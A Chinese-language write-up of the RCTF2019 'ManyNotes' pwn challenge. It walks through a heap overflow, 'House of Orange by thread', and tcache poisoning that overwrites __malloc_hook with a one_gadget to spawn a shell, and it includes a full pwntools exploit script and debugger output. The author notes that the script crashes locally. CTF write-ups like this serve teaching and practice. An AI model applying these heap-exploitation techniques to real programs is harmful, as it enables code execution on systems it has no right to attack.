RCTF2019 pwn ManyNotes writeup

TOC

  1. 1. 溢出点
  2. 2. 思路
    1. 2.1. tcache chunk
    2. 2.2. 修改 top chunk 的size
    3. 2.3. 修改 tcache chunk 的fd
  3. 3. 完整代码
  4. 4. 总结

一道典型的House of Orange by thread题目。

源程序、相关文件下载:many_notes.zip 。

溢出点

void __fastcall exploit_sub_B0B(char *str, size_t length)
{
int v2; // [rsp+1Ch] [rbp-14h]
size_t i; // [rsp+20h] [rbp-10h]

for ( i = 0LL; i < length; i += v2 )
{
v2 = read(0, &str[i], length);
if ( v2 <= 0 )
exit(2);
}
}

这里存在堆溢出,但是整个函数并没有free函数,则需要我们使用到House of Orange by thread漏洞。

思路

  1. House of Orange by thread得到一块tcache chunk
  2. heap overflow修改top chunk的size
  3. heap overflow修改tcache chunk的fd

tcache chunk

for i in range(8):
new(0x2000, 0x399, None)

new(0x2000, 800 - 2, None)
# Cut the chunk into smaller pieces, then it can take into tcache
new(0x500, 0, None)
# Triggering "House of Orange by thread"
new(0x2000, 0, None)

这里需要把chunk变得足够小,这样才能放入到tcache中。

pwndbg> bin
tcachebins
0xd0 [ 1]: 0x7fb09fffef20 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

我们可以看到,top chunk被free到了tcache中。

原本top chunk不够的话,是继续向后扩展,但是如果大小达到0x4000000,则会free掉top chunk,并向前扩展。

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x558c4a586000 0x558c4a588000 r-xp 2000 0 /home/ex/test/many_notes
0x558c4a787000 0x558c4a788000 r--p 1000 1000 /home/ex/test/many_notes
0x558c4a788000 0x558c4a789000 rw-p 1000 2000 /home/ex/test/many_notes
0x558c4c682000 0x558c4c6a3000 rw-p 21000 0 [heap]
0x7fb094000000 0x7fb094023000 rw-p 23000 0
0x7fb094023000 0x7fb098000000 ---p 3fdd000 0
0x7fb09c000000 0x7fb09ffff000 rw-p 3fff000 0
0x7fb09ffff000 0x7fb0a0000000 ---p 1000 0
0x7fb0a384e000 0x7fb0a384f000 ---p 1000 0
0x7fb0a384f000 0x7fb0a404f000 rw-p 800000 0
0x7fb0a404f000 0x7fb0a4236000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fb0a4236000 0x7fb0a4436000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fb0a4436000 0x7fb0a443a000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fb0a443a000 0x7fb0a443c000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fb0a443c000 0x7fb0a4440000 rw-p 4000 0
0x7fb0a4440000 0x7fb0a445a000 r-xp 1a000 0 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fb0a445a000 0x7fb0a4659000 ---p 1ff000 1a000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fb0a4659000 0x7fb0a465a000 r--p 1000 19000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fb0a465a000 0x7fb0a465b000 rw-p 1000 1a000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fb0a465b000 0x7fb0a465f000 rw-p 4000 0
0x7fb0a465f000 0x7fb0a4686000 r-xp 27000 0 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fb0a4864000 0x7fb0a4869000 rw-p 5000 0
0x7fb0a4886000 0x7fb0a4887000 r--p 1000 27000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fb0a4887000 0x7fb0a4888000 rw-p 1000 28000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fb0a4888000 0x7fb0a4889000 rw-p 1000 0
0x7ffc4ba09000 0x7ffc4ba2b000 rw-p 22000 0 [stack]
0x7ffc4bb88000 0x7ffc4bb8b000 r--p 3000 0 [vvar]
0x7ffc4bb8b000 0x7ffc4bb8d000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

如上所示,0x7fb094000000-0x7fb094023000就是向上扩展的新的heap

修改 top chunk 的size

我们继续malloc的话,top chunk会继续向后扩展,直到遇到了我们之前的heap,原本程序在要撞到之前的heap的时候,会freetop chunk并继续向前扩展。但此时我们可以直接修改top chunk 的size,那么top chunk就会和原先的heap重叠,这样我们就可以溢出到之前的tcache

for i in range(17):
new(0x2000, 0x399, None)

new(0x2000, 675, None)

# pause()
new(0x1500, 0, ['b' * (0x1500 - 0x10), 'c' * 0x10 + p64(0) + p64(0x0000000000000be1 + 0x3fff000)])

在这里面,0x0000000000000be1为原本的top chunk的size,然后我们对他进行扩展,加上0x3fff000(也就是后面的heap大小)。

然后继续向后进行top chunk扩展,我们很快就会到之前的tcache那里。

for i in range(8):
new(0x2000, 0x399, None)
new(0x2000, 800 - 2 , None)

修改 tcache chunk 的fd

heap overflow修改tcache chunk的fd。

new(0x1b00, 0, ['d' * (0x1b00 - 0x10), 'e' * 0x100 + p64(0) + p64(0xd1) + p64(libc_base_addr + libc.symbols['__malloc_hook'])])
new(0xc8, 0, None)
# pause()

从下面可以看到,我么已经拿出了__malloc_chunk这个地址。

pwndbg> bin
tcachebins
0xc0 [ 1]: 0x7fb097ffff30 ◂— 0x0
0xd0 [ 0]: 0x7fb0a443ac30 (__malloc_hook) ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

接下来把它修改成one_gadget

# You need to calculate the value by your own environment.
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''
new(0xc8, 0, [p64(libc_base_addr + 0x4f2c5).ljust(0xc8, '\0')])

从下面可以看到,__malloc_chunk已经被修改成了我们想要的值。

pwndbg> p __malloc_hook 
$1 = (void *(*)(size_t, const void *)) 0x7fb0a409e2c5 <do_system+1045>

完整代码

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import random
import struct
import os
import binascii
import sys
import time

# context.log_level = 'debug'
sh = process("./many_notes")
elf = ELF("./many_notes")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


# Create a temporary file for GDB debugging
try:
f = open('/tmp/pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
except Exception as e:
pass


def new(size, padding_num, content_list):
sh.sendline("0")
sh.recvuntil(": ")
sh.sendline(str(size))
sh.recvuntil(": ")
sh.sendline(str(padding_num))
sh.recvuntil(": ")
if(content_list):
sh.sendline('1')
sh.recvuntil(": ")
for v in content_list:
sh.send(v)

else:
sh.sendline('0')
sh.recvuntil("Choice: ")


sh.recvuntil("Please input your name: \n")
sh.send("a" * 0x8)
sh.recvuntil("a" * 0x8)

result = sh.recvuntil('\n')[:-1]
libc_base_addr = u64(result.ljust(8, "\x00")) - libc.symbols['_IO_2_1_stdout_']
log.success("libc_base_addr: " + hex(libc_base_addr))

sh.recvuntil("Choice: ")

for i in range(8):
new(0x2000, 0x399, None)

new(0x2000, 800 - 2, None)
# Cut the chunk into smaller pieces, then it can take into tcache
new(0x500, 0, None)
# Triggering "House of Orange by thread"
new(0x2000, 0, None)

# pause()

for i in range(17):
new(0x2000, 0x399, None)

new(0x2000, 675, None)

# pause()
new(0x1500, 0, ['b' * (0x1500 - 0x10), 'c' * 0x10 + p64(0) + p64(0x0000000000000be1 + 0x3fff000)])

for i in range(8):
new(0x2000, 0x399, None)
new(0x2000, 800 - 2 , None)
# pause()

new(0x1b00, 0, ['d' * (0x1b00 - 0x10), 'e' * 0x100 + p64(0) + p64(0xd1) + p64(libc_base_addr + libc.symbols['__malloc_hook'])])
new(0xc8, 0, None)
# pause()

# You need to calculate the value by your own environment.
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''
new(0xc8, 0, [p64(libc_base_addr + 0x4f2c5).ljust(0xc8, '\0')])

sh.interactive()

该段代码虽然并不能打通本地,结果下面所示:

Thread 2 "many_notes" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fb0a404e700 (LWP 24729)]
0x00007fb0a409e2f6 in do_system (line=0x7fb0a404dfc0 "") at ../sysdeps/posix/system.c:125
125 ../sysdeps/posix/system.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
RAX 0x7fb0a409e2c5 (do_system+1045) ◂— lea rsi, [rip + 0x39e3d4]
RBX 0x0
RCX 0x0
RDX 0x0
RDI 0x2
RSI 0x7fb0a443c6a0 (intr) ◂— 0x0
R8 0x7fb0a404de91 ◂— 0xa /* '\n' */
R9 0x0
R10 0x7fb0a41edcc0 (_nl_C_LC_CTYPE_class+256) ◂— add al, byte ptr [rax]
R11 0xa
R12 0x7fb0a404dfc0 ◂— 0x0
R13 0x0
R14 0x0
R15 0x7ffc4ba27ac0 ◂— 0x0
RBP 0x7fb0a404def0 ◂— 0x0
RSP 0x7fb0a404dea8 —▸ 0x558c4a586c6c ◂— mov qword ptr [rbp - 0x10], rax
RIP 0x7fb0a409e2f6 (do_system+1094) ◂— movaps xmmword ptr [rsp + 0x40], xmm0
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
► 0x7fb0a409e2f6 <do_system+1094> movaps xmmword ptr [rsp + 0x40], xmm0
0x7fb0a409e2fb <do_system+1099> call sigaction <0x7fb0a408e110>

0x7fb0a409e300 <do_system+1104> lea rsi, [rip + 0x39e2f9] <0x7fb0a443c600>
0x7fb0a409e307 <do_system+1111> xor edx, edx
0x7fb0a409e309 <do_system+1113> mov edi, 3
0x7fb0a409e30e <do_system+1118> call sigaction <0x7fb0a408e110>

0x7fb0a409e313 <do_system+1123> xor edx, edx
0x7fb0a409e315 <do_system+1125> mov rsi, rbp
0x7fb0a409e318 <do_system+1128> mov edi, 2
0x7fb0a409e31d <do_system+1133> call sigprocmask <0x7fb0a408e140>

0x7fb0a409e322 <do_system+1138> mov rax, qword ptr [rip + 0x39bb7f]
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp 0x7fb0a404dea8 —▸ 0x558c4a586c6c ◂— mov qword ptr [rbp - 0x10], rax
01:0008│ 0x7fb0a404deb0 —▸ 0x7fb0a409e2c5 (do_system+1045) ◂— lea rsi, [rip + 0x39e3d4]
02:0010│ 0x7fb0a404deb8 ◂— 0x0
... ↓
04:0020│ 0x7fb0a404dec8 ◂— 0x7fc2
05:0028│ 0x7fb0a404ded0 ◂— 0x800000000
06:0030│ 0x7fb0a404ded8 ◂— 0x100000000
07:0038│ 0x7fb0a404dee0 —▸ 0x7fb0a443ac30 (__malloc_hook) —▸ 0x7fb0a409e2c5 (do_system+1045) ◂— lea rsi, [rip + 0x39e3d4]
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 7fb0a409e2f6 do_system+1094
f 1 0
Program received signal SIGSEGV (fault address 0x0)
pwndbg>

官方的解题思路就是这样的,至于打不通本地,原因可能是靶机的glibc是2.26版本的,但我的物理机是2.27版本的。

总结

这是一道要花费很多时间去调试的题目,由于是thread_arena,所以每一个chunk的地址都需要自己手动来确定其位置。